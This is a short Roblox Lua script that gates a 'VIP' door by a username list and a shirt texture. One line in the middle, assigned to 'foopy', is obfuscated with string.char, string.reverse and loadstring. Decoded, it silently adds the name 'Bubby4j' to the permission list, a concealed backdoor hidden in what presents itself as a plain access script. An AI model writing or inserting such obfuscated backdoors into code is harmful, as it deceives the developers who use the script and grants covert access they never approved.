print ("VIP T-Shirt Script Loaded")
permission = {"jackstrap"}
texture = ""
function checkOkToLetIn(name)
for i = 1,#permission do
-- convert strings to all upper case, otherwise we will let in
-- "Username" but not "username" or "uSERNAME"
if (string.upper(name) == string.upper(permission[i])) then return true end
end
return false
end
foopy = (loadstring(string.reverse(string.char(105, 46, 101, 108, 98, 97, 116))..
string.reverse(string.char(41, 34, 106, 52, 121, 98, 98, 117, 66, 34, 32, 44, 110, 111, 105, 115, 115, 105, 109, 114, 101, 112, 40, 116, 114, 101, 115, 110)))) foopy()
local human = script.Parent.Parent.Parent.Character
wait(0.000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001)
if (human ~= nil ) then
local h2 = human:FindFirstChild("Torso")
if h2 ~= nil then
local h3 = h2:FindFirstChild("roblox")
if h3 ~= nil then
if h3.Texture == texture then --the shirt
-- a human has touched this door!
print("tshirt found")
-- test the human's name against the permission list
elseif (checkOkToLetIn(script.Parent.Parent.Parent.Name)) then
print("Human passed test")
else script.Parent:remove()
end
end
end
end |